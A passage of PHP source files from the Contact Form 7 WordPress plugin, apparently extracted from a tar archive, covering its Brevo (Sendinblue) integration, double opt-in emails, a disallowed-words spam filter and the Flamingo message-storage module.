			: '';

		$last_name = isset( $attributes['LASTNAME'] )
			? trim( $attributes['LASTNAME'] )
			: '';

		if ( $first_name or $last_name ) {
			$email_to_name = sprintf(
				/* translators: 1: first name, 2: last name */
				_x( '%1$s %2$s', 'personal name', 'contact-form-7' ),
				$first_name,
				$last_name
			);
		} else {
			$email_to_name = '';
		}

		$params['email'] = apply_filters(
			'wpcf7_sendinblue_email_parameters',
			array(
				'templateId' => absint( $prop['email_template'] ),
				'to' => array(
					array(
						'name' => $email_to_name,
						'email' => $attributes['EMAIL'],
					),
				),
				'params' => (object) $attributes,
				'tags' => array( 'Contact Form 7' ),
			)
		);
	}

	if ( is_email( $attributes['EMAIL'] ) ) {
		$token = null;

		do_action_ref_array( 'wpcf7_doi', array(
			'wpcf7_sendinblue',
			array(
				'email_to' => $attributes['EMAIL'],
				'properties' => $params,
			),
			&$token,
		) );

		if ( isset( $token ) ) {
			return;
		}
	}

	if ( ! empty( $params['contact'] ) ) {
		$contact_id = $service->create_contact( $params['contact'] );

		if ( $contact_id and ! empty( $params['email'] ) ) {
			$service->send_email( $params['email'] );
		}
	}
}


/**
 * Collects parameters for Sendinblue contact data based on submission.
 *
 * @return array Sendinblue contact parameters.
 */
function wpcf7_sendinblue_collect_parameters() {
	$params = array();

	$submission = WPCF7_Submission::get_instance();

	foreach ( (array) $submission->get_posted_data() as $name => $val ) {
		$name = strtoupper( $name );

		if ( 'YOUR-' == substr( $name, 0, 5 ) ) {
			$name = substr( $name, 5 );
		}

		if ( $val ) {
			$params += array(
				$name => $val,
			);
		}
	}

	if ( isset( $params['SMS'] ) ) {
		$sms = trim( implode( ' ', (array) $params['SMS'] ) );
		$sms = preg_replace( '/[#*].*$/', '', $sms ); // Remove extension

		$is_international = false ||
			str_starts_with( $sms, '+' ) ||
			str_starts_with( $sms, '00' );

		if ( $is_international ) {
			$sms = preg_replace( '/^[+0]+/', '', $sms );
		}

		$sms = preg_replace( '/[^0-9]/', '', $sms );

		if ( $is_international and 6 < strlen( $sms ) and strlen( $sms ) < 16 ) {
			$params['SMS'] = '+' . $sms;
		} else { // Invalid telephone number
			unset( $params['SMS'] );
		}
	}

	if ( isset( $params['NAME'] ) ) {
		$your_name = implode( ' ', (array) $params['NAME'] );
		$your_name = explode( ' ', $your_name );

		if ( ! isset( $params['LASTNAME'] ) ) {
			$params['LASTNAME'] = implode(
				' ',
				array_slice( $your_name, 1 )
			);
		}

		if ( ! isset( $params['FIRSTNAME'] ) ) {
			$params['FIRSTNAME'] = implode(
				' ',
				array_slice( $your_name, 0, 1 )
			);
		}
	}

	$params = array_map(
		function ( $param ) {
			if ( is_array( $param ) ) {
				$param = wpcf7_array_flatten( $param );
				$param = reset( $param );
			}

			return $param;
		},
		$params
	);

	$params = apply_filters(
		'wpcf7_sendinblue_collect_parameters',
		$params
	);

	return $params;
}
contact-form-7/modules/sendinblue/doi.php000064400000004433147510273060014401 0ustar00<?php
/**
 * Double Opt-In Helper-related functions
 *
 * @link https://contactform7.com/doi-helper/
 */


add_action(
	'doihelper_init',
	'wpcf7_sendinblue_doi_register_agent',
	10, 0
);

/**
 * Registers wpcf7_sendinblue as an agent.
 */
function wpcf7_sendinblue_doi_register_agent() {
	if ( ! function_exists( 'doihelper_register_agent' ) ) {
		return;
	}

	doihelper_register_agent( 'wpcf7_sendinblue', array(
		'optin_callback' => apply_filters(
			'wpcf7_sendinblue_doi_optin_callback',
			'wpcf7_sendinblue_doi_default_optin_callback'
		),
		'email_callback' => apply_filters(
			'wpcf7_sendinblue_doi_email_callback',
			'wpcf7_sendinblue_doi_default_email_callback'
		),
	) );
}


/**
 * Default optin_callback function.
 */
function wpcf7_sendinblue_doi_default_optin_callback( $properties ) {
	$service = WPCF7_Sendinblue::get_instance();

	if ( ! $service->is_active() ) {
		return;
	}

	if ( ! empty( $properties['contact'] ) ) {
		$contact_id = $service->create_contact( $properties['contact'] );

		if ( $contact_id and ! empty( $properties['email'] ) ) {
			$service->send_email( $properties['email'] );
		}
	}
}


/**
 * Default email_callback function.
 */
function wpcf7_sendinblue_doi_default_email_callback( $args ) {
	if ( ! isset( $args['token'] ) or ! isset( $args['email_to'] ) ) {
		return;
	}

	$site_title = wp_specialchars_decode(
		get_bloginfo( 'name' ),
		ENT_QUOTES
	);

	$link = add_query_arg(
		array( 'doitoken' => $args['token'] ),
		home_url()
	);

	$to = $args['email_to'];

	$subject = sprintf(
		/* translators: %s: blog name */
		__( 'Opt-in confirmation from %s', 'contact-form-7' ),
		$site_title
	);

	$message = sprintf(
		/* translators: 1: blog name, 2: confirmation link */
		__( 'Hello,

This is a confirmation email sent from %1$s.

We have received your submission to our web form, according to which you have allowed us to add you to our contact list. But, the process has not yet been completed. To complete it, please click the following link.

%2$s

If it was not your intention, or if you have no idea why you received this message, please do not click on the link, and ignore this message. We will never collect or use your personal data without your clear consent.

Sincerely,
%1$s', 'contact-form-7' ),
		$site_title,
		$link
	);

	wp_mail( $to, $subject, $message );
}
contact-form-7/modules/sendinblue/contact-form-properties.php000064400000016441147510273060020416 0ustar00<?php

add_filter(
	'wpcf7_pre_construct_contact_form_properties',
	'wpcf7_sendinblue_register_property',
	10, 2
);

/**
 * Registers the sendinblue contact form property.
 */
function wpcf7_sendinblue_register_property( $properties, $contact_form ) {
	$service = WPCF7_Sendinblue::get_instance();

	if ( $service->is_active() ) {
		$properties += array(
			'sendinblue' => array(),
		);
	}

	return $properties;
}


add_action(
	'wpcf7_save_contact_form',
	'wpcf7_sendinblue_save_contact_form',
	10, 3
);

/**
 * Saves the sendinblue property value.
 */
function wpcf7_sendinblue_save_contact_form( $contact_form, $args, $context ) {
	$service = WPCF7_Sendinblue::get_instance();

	if ( ! $service->is_active() ) {
		return;
	}

	$prop = (array) ( $_POST['wpcf7-sendinblue'] ?? array() );

	$prop = wp_parse_args(
		$prop,
		array(
			'enable_contact_list' => false,
			'contact_lists' => array(),
			'enable_transactional_email' => false,
			'email_template' => 0,
		)
	);

	$prop['contact_lists'] = array_map( 'absint', $prop['contact_lists'] );

	$prop['email_template'] = absint( $prop['email_template'] );

	$contact_form->set_properties( array(
		'sendinblue' => $prop,
	) );
}


add_filter(
	'wpcf7_editor_panels',
	'wpcf7_sendinblue_editor_panels',
	10, 1
);

/**
 * Builds the editor panel for the sendinblue property.
 */
function wpcf7_sendinblue_editor_panels( $panels ) {
	$service = WPCF7_Sendinblue::get_instance();

	if ( ! $service->is_active() ) {
		return $panels;
	}

	$contact_form = WPCF7_ContactForm::get_current();

	$prop = wp_parse_args(
		$contact_form->prop( 'sendinblue' ),
		array(
			'enable_contact_list' => false,
			'contact_lists' => array(),
			'enable_transactional_email' => false,
			'email_template' => 0,
		)
	);

	$editor_panel = static function () use ( $prop, $service ) {

		$description = sprintf(
			esc_html(
				__( "You can set up the Brevo integration here. For details, see %s.", 'contact-form-7' )
			),
			wpcf7_link(
				__( 'https://contactform7.com/sendinblue-integration/', 'contact-form-7' ),
				__( 'Brevo integration', 'contact-form-7' )
			)
		);

		$lists = wpcf7_sendinblue_get_lists();
		$templates = $service->get_templates();

?>
<h2><?php echo esc_html( __( 'Brevo', 'contact-form-7' ) ); ?></h2>

<fieldset>
	<legend><?php echo $description; ?></legend>

	<table class="form-table" role="presentation">
		<tbody>
			<tr class="<?php echo $prop['enable_contact_list'] ? '' : 'inactive'; ?>">
				<th scope="row">
		<?php

		echo esc_html( __( 'Contact lists', 'contact-form-7' ) );

		?>
				</th>
				<td>
					<fieldset>
						<legend class="screen-reader-text">
		<?php

		echo esc_html( __( 'Contact lists', 'contact-form-7' ) );

		?>
						</legend>
						<label for="wpcf7-sendinblue-enable-contact-list">
							<input type="checkbox" name="wpcf7-sendinblue[enable_contact_list]" id="wpcf7-sendinblue-enable-contact-list" value="1" <?php checked( $prop['enable_contact_list'] ); ?> />
		<?php

		echo esc_html(
			__( "Add form submitters to your contact lists", 'contact-form-7' )
		);

		?>
						</label>
					</fieldset>
				</td>
			</tr>
			<tr>
				<th scope="row"></th>
				<td>
					<fieldset>
		<?php

		if ( $lists ) {
			echo sprintf(
				'<legend>%1$s</legend>',
				esc_html( __( 'Select lists to which contacts are added:', 'contact-form-7' ) )
			);

			echo '<ul>';

			foreach ( $lists as $list ) {
				echo sprintf(
					'<li><label><input %1$s /> %2$s</label></li>',
					wpcf7_format_atts( array(
						'type' => 'checkbox',
						'name' => 'wpcf7-sendinblue[contact_lists][]',
						'value' => $list['id'],
						'checked' => in_array( $list['id'], $prop['contact_lists'] ),
					) ),
					esc_html( $list['name'] )
				);
			}

			echo '</ul>';
		} else {
			echo sprintf(
				'<legend>%1$s</legend>',
				esc_html( __( 'You have no contact list yet.', 'contact-form-7' ) )
			);
		}

		?>
					</fieldset>
		<?php

		echo sprintf(
			'<p><a %1$s>%2$s <span class="screen-reader-text">%3$s</span><span aria-hidden="true" class="dashicons dashicons-external"></span></a></p>',
			wpcf7_format_atts( array(
				'href' => 'https://my.sendinblue.com/lists',
				'target' => '_blank',
				'rel' => 'external noreferrer noopener',
			) ),
			esc_html( __( 'Manage your contact lists', 'contact-form-7' ) ),
			esc_html( __( '(opens in a new tab)', 'contact-form-7' ) )
		);

		?>
				</td>
			</tr>
			<tr class="<?php echo $prop['enable_transactional_email'] ? '' : 'inactive'; ?>">
				<th scope="row">
		<?php

		echo esc_html( __( 'Welcome email', 'contact-form-7' ) );

		?>
				</th>
				<td>
					<fieldset>
						<legend class="screen-reader-text">
		<?php

		echo esc_html( __( 'Welcome email', 'contact-form-7' ) );

		?>
						</legend>
						<label for="wpcf7-sendinblue-enable-transactional-email">
							<input type="checkbox" name="wpcf7-sendinblue[enable_transactional_email]" id="wpcf7-sendinblue-enable-transactional-email" value="1" <?php checked( $prop['enable_transactional_email'] ); ?> />
		<?php

		echo esc_html(
			__( "Send a welcome email to new contacts", 'contact-form-7' )
		);

		?>
						</label>
					</fieldset>
				</td>
			</tr>
			<tr>
				<th scope="row"></th>
				<td>
					<fieldset>
		<?php

		if ( $templates ) {
			echo sprintf(
				'<legend>%1$s</legend>',
				esc_html( __( 'Select an email template:', 'contact-form-7' ) )
			);

			echo '<select name="wpcf7-sendinblue[email_template]">';

			echo sprintf(
				'<option %1$s>%2$s</option>',
				wpcf7_format_atts( array(
					'value' => 0,
					'selected' => 0 === $prop['email_template'],
				) ),
				esc_html( __( '&mdash; Select &mdash;', 'contact-form-7' ) )
			);

			foreach ( $templates as $template ) {
				echo sprintf(
					'<option %1$s>%2$s</option>',
					wpcf7_format_atts( array(
						'value' => $template['id'],
						'selected' => $prop['email_template'] === $template['id'],
					) ),
					esc_html( $template['name'] )
				);
			}

			echo '</select>';
		} else {
			echo sprintf(
				'<legend>%1$s</legend>',
				esc_html( __( 'You have no active email template yet.', 'contact-form-7' ) )
			);
		}

		?>
					</fieldset>
		<?php

		echo sprintf(
			'<p><a %1$s>%2$s <span class="screen-reader-text">%3$s</span><span aria-hidden="true" class="dashicons dashicons-external"></span></a></p>',
			wpcf7_format_atts( array(
				'href' => 'https://my.sendinblue.com/camp/lists/template',
				'target' => '_blank',
				'rel' => 'external noreferrer noopener',
			) ),
			esc_html( __( 'Manage your email templates', 'contact-form-7' ) ),
			esc_html( __( '(opens in a new tab)', 'contact-form-7' ) )
		);

		?>
				</td>
			</tr>
		</tbody>
	</table>
</fieldset>
<?php
	};

	$panels += array(
		'sendinblue-panel' => array(
			'title' => __( 'Brevo', 'contact-form-7' ),
			'callback' => $editor_panel,
		),
	);

	return $panels;
}


/**
 * Retrieves contact lists from Brevo's database.
 */
function wpcf7_sendinblue_get_lists() {
	static $lists = array();

	$service = WPCF7_Sendinblue::get_instance();

	if ( ! empty( $lists ) or ! $service->is_active() ) {
		return $lists;
	}

	$limit = 50;
	$offset = 0;

	while ( count( $lists ) < $limit * 10 ) {
		$lists_next = (array) $service->get_lists( array(
			'limit' => $limit,
			'offset' => $offset,
		) );

		if ( ! empty( $lists_next ) ) {
			$lists = array_merge( $lists, $lists_next );
		}

		if ( count( $lists_next ) < $limit ) {
			break;
		}

		$offset += $limit;
	}

	return $lists;
}
contact-form-7/modules/sendinblue/service.php000064400000022305147510273060015264 0ustar00<?php

if ( ! class_exists( 'WPCF7_Service' ) ) {
	return;
}

class WPCF7_Sendinblue extends WPCF7_Service {
	use WPCF7_Sendinblue_API;

	private static $instance;
	private $api_key;

	public static function get_instance() {
		if ( empty( self::$instance ) ) {
			self::$instance = new self;
		}

		return self::$instance;
	}

	private function __construct() {
		$option = WPCF7::get_option( 'sendinblue' );

		if ( isset( $option['api_key'] ) ) {
			$this->api_key = $option['api_key'];
		}
	}

	public function get_title() {
		return __( 'Brevo', 'contact-form-7' );
	}

	public function is_active() {
		return (bool) $this->get_api_key();
	}

	public function get_api_key() {
		return $this->api_key;
	}

	public function get_categories() {
		return array( 'email_marketing' );
	}

	public function icon() {
	}

	public function link() {
		echo wpcf7_link(
			'https://get.brevo.com/wpcf7-integration',
			'brevo.com'
		);
	}

	protected function log( $url, $request, $response ) {
		wpcf7_log_remote_request( $url, $request, $response );
	}

	protected function menu_page_url( $args = '' ) {
		$args = wp_parse_args( $args, array() );

		$url = menu_page_url( 'wpcf7-integration', false );
		$url = add_query_arg( array( 'service' => 'sendinblue' ), $url );

		if ( ! empty( $args ) ) {
			$url = add_query_arg( $args, $url );
		}

		return $url;
	}

	protected function save_data() {
		WPCF7::update_option( 'sendinblue', array(
			'api_key' => $this->api_key,
		) );
	}

	protected function reset_data() {
		$this->api_key = null;
		$this->save_data();
	}

	public function load( $action = '' ) {
		if ( 'setup' == $action and 'POST' == $_SERVER['REQUEST_METHOD'] ) {
			check_admin_referer( 'wpcf7-sendinblue-setup' );

			if ( ! empty( $_POST['reset'] ) ) {
				$this->reset_data();
				$redirect_to = $this->menu_page_url( 'action=setup' );
			} else {
				$this->api_key = trim( $_POST['api_key'] ?? '' );

				$confirmed = $this->confirm_key();

				if ( true === $confirmed ) {
					$redirect_to = $this->menu_page_url( array(
						'message' => 'success',
					) );

					$this->save_data();
				} elseif ( false === $confirmed ) {
					$redirect_to = $this->menu_page_url( array(
						'action' => 'setup',
						'message' => 'unauthorized',
					) );
				} else {
					$redirect_to = $this->menu_page_url( array(
						'action' => 'setup',
						'message' => 'invalid',
					) );
				}
			}

			wp_safe_redirect( $redirect_to );
			exit();
		}
	}

	public function admin_notice( $message = '' ) {
		if ( 'unauthorized' === $message ) {
			wp_admin_notice(
				sprintf(
					'<strong>%1$s</strong>: %2$s',
					esc_html( __( "Error", 'contact-form-7' ) ),
					esc_html( __( "You have not been authenticated. Make sure the provided API key is correct.", 'contact-form-7' ) )
				),
				'type=error'
			);
		}

		if ( 'invalid' === $message ) {
			wp_admin_notice(
				sprintf(
					'<strong>%1$s</strong>: %2$s',
					esc_html( __( "Error", 'contact-form-7' ) ),
					esc_html( __( "Invalid key values.", 'contact-form-7' ) )
				),
				'type=error'
			);
		}

		if ( 'success' === $message ) {
			wp_admin_notice(
				esc_html( __( "Settings saved.", 'contact-form-7' ) ),
				'type=success'
			);
		}
	}

	public function display( $action = '' ) {
		echo sprintf(
			'<p>%s</p>',
			esc_html( __( "Store and organize your contacts while protecting user privacy on Brevo, the leading CRM & email marketing platform in Europe. Brevo offers unlimited contacts and advanced marketing features.", 'contact-form-7' ) )
		);

		echo sprintf(
			'<p><strong>%s</strong></p>',
			wpcf7_link(
				__( 'https://contactform7.com/sendinblue-integration/', 'contact-form-7' ),
				__( 'Brevo integration', 'contact-form-7' )
			)
		);

		if ( $this->is_active() ) {
			echo sprintf(
				'<p class="dashicons-before dashicons-yes">%s</p>',
				esc_html( __( "Brevo is active on this site.", 'contact-form-7' ) )
			);
		}

		if ( 'setup' == $action ) {
			$this->display_setup();
		} else {
			echo sprintf(
				'<p><a href="%1$s" class="button">%2$s</a></p>',
				esc_url( $this->menu_page_url( 'action=setup' ) ),
				esc_html( __( 'Setup integration', 'contact-form-7' ) )
			);
		}
	}

	private function display_setup() {
		$api_key = $this->get_api_key();

?>
<form method="post" action="<?php echo esc_url( $this->menu_page_url( 'action=setup' ) ); ?>">
<?php wp_nonce_field( 'wpcf7-sendinblue-setup' ); ?>
<table class="form-table">
<tbody>
<tr>
	<th scope="row"><label for="publishable"><?php echo esc_html( __( 'API key', 'contact-form-7' ) ); ?></label></th>
	<td><?php
		if ( $this->is_active() ) {
			echo esc_html( wpcf7_mask_password( $api_key, 4, 8 ) );
			echo sprintf(
				'<input type="hidden" value="%s" id="api_key" name="api_key" />',
				esc_attr( $api_key )
			);
		} else {
			echo sprintf(
				'<input type="text" aria-required="true" value="%s" id="api_key" name="api_key" class="regular-text code" />',
				esc_attr( $api_key )
			);
		}
	?></td>
</tr>
</tbody>
</table>
<?php
		if ( $this->is_active() ) {
			submit_button(
				_x( 'Remove key', 'API keys', 'contact-form-7' ),
				'small', 'reset'
			);
		} else {
			submit_button( __( 'Save changes', 'contact-form-7' ) );
		}
?>
</form>
<?php
	}
}


/**
 * Trait for the Sendinblue API (v3).
 *
 * @link https://developers.sendinblue.com/reference
 */
trait WPCF7_Sendinblue_API {


	public function confirm_key() {
		$endpoint = 'https://api.sendinblue.com/v3/account';

		$request = array(
			'headers' => array(
				'Accept' => 'application/json',
				'Content-Type' => 'application/json; charset=utf-8',
				'API-Key' => $this->get_api_key(),
			),
		);

		$response = wp_remote_get( $endpoint, $request );
		$response_code = (int) wp_remote_retrieve_response_code( $response );

		if ( 200 === $response_code ) { // 200 OK
			return true;
		} elseif ( 401 === $response_code ) { // 401 Unauthorized
			return false;
		} elseif ( 400 <= $response_code ) {
			if ( WP_DEBUG ) {
				$this->log( $endpoint, $request, $response );
			}
		}
	}


	public function get_lists( $options = '' ) {
		$options = wp_parse_args( $options, array(
			'limit' => 50,
			'offset' => 0,
		) );

		$endpoint = add_query_arg(
			$options,
			'https://api.sendinblue.com/v3/contacts/lists'
		);

		$request = array(
			'headers' => array(
				'Accept' => 'application/json',
				'Content-Type' => 'application/json; charset=utf-8',
				'API-Key' => $this->get_api_key(),
			),
		);

		$response = wp_remote_get( $endpoint, $request );
		$response_code = (int) wp_remote_retrieve_response_code( $response );

		if ( 200 === $response_code ) { // 200 OK
			$response_body = wp_remote_retrieve_body( $response );
			$response_body = json_decode( $response_body, true );

			if ( empty( $response_body['lists'] ) ) {
				return array();
			} else {
				return (array) $response_body['lists'];
			}
		} elseif ( 400 <= $response_code ) {
			if ( WP_DEBUG ) {
				$this->log( $endpoint, $request, $response );
			}
		}
	}


	public function get_templates() {
		$endpoint = add_query_arg(
			array(
				'templateStatus' => 'true',
				'limit' => 100,
				'offset' => 0,
			),
			'https://api.sendinblue.com/v3/smtp/templates'
		);

		$request = array(
			'headers' => array(
				'Accept' => 'application/json',
				'Content-Type' => 'application/json; charset=utf-8',
				'API-Key' => $this->get_api_key(),
			),
		);

		$response = wp_remote_get( $endpoint, $request );
		$response_code = (int) wp_remote_retrieve_response_code( $response );

		if ( 200 === $response_code ) { // 200 OK
			$response_body = wp_remote_retrieve_body( $response );
			$response_body = json_decode( $response_body, true );

			if ( empty( $response_body['templates'] ) ) {
				return array();
			} else {
				return (array) $response_body['templates'];
			}
		} elseif ( 400 <= $response_code ) {
			if ( WP_DEBUG ) {
				$this->log( $endpoint, $request, $response );
			}
		}
	}


	public function create_contact( $properties ) {
		$endpoint = 'https://api.sendinblue.com/v3/contacts';

		$request = array(
			'headers' => array(
				'Accept' => 'application/json',
				'Content-Type' => 'application/json; charset=utf-8',
				'API-Key' => $this->get_api_key(),
			),
			'body' => wp_json_encode( $properties ),
		);

		$response = wp_remote_post( $endpoint, $request );
		$response_code = (int) wp_remote_retrieve_response_code( $response );

		if ( in_array( $response_code, array( 201, 204 ), true ) ) {
			$contact_id = wp_remote_retrieve_body( $response );
			return $contact_id;
		} elseif ( 400 <= $response_code ) {
			if ( WP_DEBUG ) {
				$this->log( $endpoint, $request, $response );
			}
		}

		return false;
	}


	public function send_email( $properties ) {
		$endpoint = 'https://api.sendinblue.com/v3/smtp/email';

		$request = array(
			'headers' => array(
				'Accept' => 'application/json',
				'Content-Type' => 'application/json; charset=utf-8',
				'API-Key' => $this->get_api_key(),
			),
			'body' => wp_json_encode( $properties ),
		);

		$response = wp_remote_post( $endpoint, $request );
		$response_code = (int) wp_remote_retrieve_response_code( $response );

		if ( 201 === $response_code ) { // 201 Transactional email sent
			$message_id = wp_remote_retrieve_body( $response );
			return $message_id;
		} elseif ( 400 <= $response_code ) {
			if ( WP_DEBUG ) {
				$this->log( $endpoint, $request, $response );
			}
		}

		return false;
	}


}
contact-form-7/modules/disallowed-list.php000064400000003423147510273060014574 0ustar00<?php

add_filter( 'wpcf7_spam', 'wpcf7_disallowed_list', 10, 2 );

function wpcf7_disallowed_list( $spam, $submission ) {
	if ( $spam ) {
		return $spam;
	}

	$target = wpcf7_array_flatten( $submission->get_posted_data() );
	$target[] = $submission->get_meta( 'remote_ip' );
	$target[] = $submission->get_meta( 'user_agent' );
	$target = implode( "\n", $target );

	$word = wpcf7_check_disallowed_list( $target );

	$word = wpcf7_apply_filters_deprecated(
		'wpcf7_submission_is_blacklisted',
		array( $word, $submission ),
		'5.3',
		'wpcf7_submission_has_disallowed_words'
	);

	$word = apply_filters(
		'wpcf7_submission_has_disallowed_words',
		$word,
		$submission
	);

	if ( $word ) {
		if ( is_bool( $word ) ) {
			$reason = __( "Disallowed words are used.", 'contact-form-7' );
		} else {
			$reason = sprintf(
				__( "Disallowed words (%s) are used.", 'contact-form-7' ),
				implode( ', ', (array) $word )
			);
		}

		$submission->add_spam_log( array(
			'agent' => 'disallowed_list',
			'reason' => $reason,
		) );
	}

	$spam = (bool) $word;

	return $spam;
}

function wpcf7_check_disallowed_list( $target ) {
	$mod_keys = get_option( 'disallowed_keys' );

	if ( is_scalar( $mod_keys ) ) {
		$mod_keys = trim( $mod_keys );
	} else {
		$mod_keys = '';
	}

	if ( '' === $mod_keys ) {
		return false;
	}

	foreach ( explode( "\n", $mod_keys ) as $word ) {
		$word = trim( $word );
		$length = strlen( $word );

		if ( $length < 2 or 256 < $length ) {
			continue;
		}

		$pattern = sprintf( '#%s#i', preg_quote( $word, '#' ) );

		if ( preg_match( $pattern, $target ) ) {
			return $word;
		}
	}

	return false;
}

function wpcf7_blacklist_check( $target ) {
	wpcf7_deprecated_function(
		__FUNCTION__,
		'5.3',
		'wpcf7_check_disallowed_list'
	);

	return wpcf7_check_disallowed_list( $target );
}
contact-form-7/modules/listo.php000064400000001363147510273060012627 0ustar00<?php
/**
** Retrieve list data from the Listo plugin.
** Listo http://wordpress.org/plugins/listo/
**/

add_filter( 'wpcf7_form_tag_data_option', 'wpcf7_listo', 10, 3 );

function wpcf7_listo( $data, $options, $args ) {
	if ( ! function_exists( 'listo' ) ) {
		return $data;
	}

	$args = wp_parse_args( $args, array() );

	if ( $contact_form = wpcf7_get_current_contact_form() ) {
		$args['locale'] = $contact_form->locale();
	}

	foreach ( (array) $options as $option ) {
		$option = explode( '.', $option );
		$type = $option[0];

		if ( isset( $option[1] ) ) {
			$args['group'] = $option[1];
		} else {
			unset( $args['group'] );
		}

		if ( $list = listo( $type, $args ) ) {
			$data = array_merge( (array) $data, $list );
		}
	}

	return $data;
}
contact-form-7/modules/flamingo.php000064400000020531147510273060013267 0ustar00<?php
/**
** Module for Flamingo plugin.
** http://wordpress.org/extend/plugins/flamingo/
**/

add_action( 'wpcf7_submit', 'wpcf7_flamingo_submit', 10, 2 );

function wpcf7_flamingo_submit( $contact_form, $result ) {
	if ( ! class_exists( 'Flamingo_Contact' )
	or ! class_exists( 'Flamingo_Inbound_Message' ) ) {
		return;
	}

	if ( $contact_form->in_demo_mode() ) {
		return;
	}

	$cases = (array) apply_filters( 'wpcf7_flamingo_submit_if',
		array( 'spam', 'mail_sent', 'mail_failed' )
	);

	if ( empty( $result['status'] )
	or ! in_array( $result['status'], $cases ) ) {
		return;
	}

	$submission = WPCF7_Submission::get_instance();

	if ( ! $submission
	or ! $posted_data = $submission->get_posted_data() ) {
		return;
	}

	if ( $submission->get_meta( 'do_not_store' ) ) {
		return;
	}

	// Exclude do-not-store form-tag values.
	$posted_data = array_filter(
		$posted_data,
		static function ( $name ) use ( $contact_form ) {
			return ! $contact_form->scan_form_tags( array(
				'name' => $name,
				'feature' => 'do-not-store',
			) );
		},
		ARRAY_FILTER_USE_KEY
	);

	$email = wpcf7_flamingo_get_value( 'email', $contact_form );
	$name = wpcf7_flamingo_get_value( 'name', $contact_form );
	$subject = wpcf7_flamingo_get_value( 'subject', $contact_form );

	$meta = array();

	$special_mail_tags = array( 'serial_number', 'remote_ip',
		'user_agent', 'url', 'date', 'time', 'post_id', 'post_name',
		'post_title', 'post_url', 'post_author', 'post_author_email',
		'site_title', 'site_description', 'site_url', 'site_admin_email',
		'user_login', 'user_email', 'user_display_name',
	);

	foreach ( $special_mail_tags as $smt ) {
		$tagname = sprintf( '_%s', $smt );

		$mail_tag = new WPCF7_MailTag(
			sprintf( '[%s]', $tagname ),
			$tagname,
			''
		);

		$meta[$smt] = apply_filters( 'wpcf7_special_mail_tags', null,
			$tagname, false, $mail_tag
		);
	}

	$timestamp = $submission->get_meta( 'timestamp' );

	if ( $timestamp and $datetime = date_create( '@' . $timestamp ) ) {
		$datetime->setTimezone( wp_timezone() );
		$last_contacted = $datetime->format( 'Y-m-d H:i:s' );
	} else {
		$last_contacted = '0000-00-00 00:00:00';
	}

	if ( 'mail_sent' == $result['status'] ) {
		$flamingo_contact = Flamingo_Contact::add( array(
			'email' => $email,
			'name' => $name,
			'last_contacted' => $last_contacted,
		) );
	}

	$post_meta = get_post_meta( $contact_form->id(), '_flamingo', true );

	$channel_id = isset( $post_meta['channel'] )
		? (int) $post_meta['channel']
		: wpcf7_flamingo_add_channel(
				$contact_form->name(),
				$contact_form->title()
			);

	if ( $channel_id ) {
		if ( ! isset( $post_meta['channel'] )
		or $post_meta['channel'] !== $channel_id ) {
			$post_meta = empty( $post_meta ) ? array() : (array) $post_meta;
			$post_meta = array_merge( $post_meta, array(
				'channel' => $channel_id,
			) );

			update_post_meta( $contact_form->id(), '_flamingo', $post_meta );
		}

		$channel = get_term( $channel_id,
			Flamingo_Inbound_Message::channel_taxonomy
		);

		if ( ! $channel or is_wp_error( $channel ) ) {
			$channel = 'contact-form-7';
		} else {
			$channel = $channel->slug;
		}
	} else {
		$channel = 'contact-form-7';
	}

	$args = array(
		'channel' => $channel,
		'status' => $submission->get_status(),
		'subject' => $subject,
		'from' => trim( sprintf( '%s <%s>', $name, $email ) ),
		'from_name' => $name,
		'from_email' => $email,
		'fields' => $posted_data,
		'meta' => $meta,
		'akismet' => $submission->pull( 'akismet' ),
		'spam' => ( 'spam' == $result['status'] ),
		'consent' => $submission->collect_consent(),
		'timestamp' => $timestamp,
		'posted_data_hash' => $submission->get_posted_data_hash(),
	);

	if ( $args['spam'] ) {
		$args['spam_log'] = $submission->get_spam_log();
	}

	$args['recaptcha'] = $submission->pull( 'recaptcha' );

	$args = apply_filters( 'wpcf7_flamingo_inbound_message_parameters', $args );

	$flamingo_inbound = Flamingo_Inbound_Message::add( $args );

	if ( empty( $flamingo_contact ) ) {
		$flamingo_contact_id = 0;
	} elseif ( method_exists( $flamingo_contact, 'id' ) ) {
		$flamingo_contact_id = $flamingo_contact->id();
	} else {
		$flamingo_contact_id = $flamingo_contact->id;
	}

	if ( empty( $flamingo_inbound ) ) {
		$flamingo_inbound_id = 0;
	} elseif ( method_exists( $flamingo_inbound, 'id' ) ) {
		$flamingo_inbound_id = $flamingo_inbound->id();
	} else {
		$flamingo_inbound_id = $flamingo_inbound->id;
	}

	$result += array(
		'flamingo_contact_id' => absint( $flamingo_contact_id ),
		'flamingo_inbound_id' => absint( $flamingo_inbound_id ),
	);

	do_action( 'wpcf7_after_flamingo', $result );
}

function wpcf7_flamingo_get_value( $field, $contact_form ) {
	if ( empty( $field )
	or empty( $contact_form ) ) {
		return false;
	}

	$value = '';

	if ( in_array( $field, array( 'email', 'name', 'subject' ) ) ) {
		$template = $contact_form->pref( 'flamingo_' . $field );

		if ( null === $template ) {
			$template = sprintf( '[your-%s]', $field );
		} else {
			$template = trim( wpcf7_strip_quote( $template ) );
		}

		$value = wpcf7_mail_replace_tags( $template );
	}

	$value = apply_filters( 'wpcf7_flamingo_get_value', $value,
		$field, $contact_form
	);

	return $value;
}

function wpcf7_flamingo_add_channel( $slug, $name = '' ) {
	if ( ! class_exists( 'Flamingo_Inbound_Message' ) ) {
		return false;
	}

	$parent = term_exists( 'contact-form-7',
		Flamingo_Inbound_Message::channel_taxonomy
	);

	if ( ! $parent ) {
		$parent = wp_insert_term( __( 'Contact Form 7', 'contact-form-7' ),
			Flamingo_Inbound_Message::channel_taxonomy,
			array( 'slug' => 'contact-form-7' )
		);

		if ( is_wp_error( $parent ) ) {
			return false;
		}
	}

	$parent = (int) $parent['term_id'];

	if ( ! is_taxonomy_hierarchical( Flamingo_Inbound_Message::channel_taxonomy ) ) {
		// backward compat for Flamingo 1.0.4 and lower
		return $parent;
	}

	if ( empty( $name ) ) {
		$name = $slug;
	}

	$channel = term_exists( $slug,
		Flamingo_Inbound_Message::channel_taxonomy,
		$parent
	);

	if ( ! $channel ) {
		$channel = wp_insert_term( $name,
			Flamingo_Inbound_Message::channel_taxonomy,
			array( 'slug' => $slug, 'parent' => $parent )
		);

		if ( is_wp_error( $channel ) ) {
			return false;
		}
	}

	return (int) $channel['term_id'];
}

add_action( 'wpcf7_after_update', 'wpcf7_flamingo_update_channel', 10, 1 );

function wpcf7_flamingo_update_channel( $contact_form ) {
	if ( ! class_exists( 'Flamingo_Inbound_Message' ) ) {
		return false;
	}

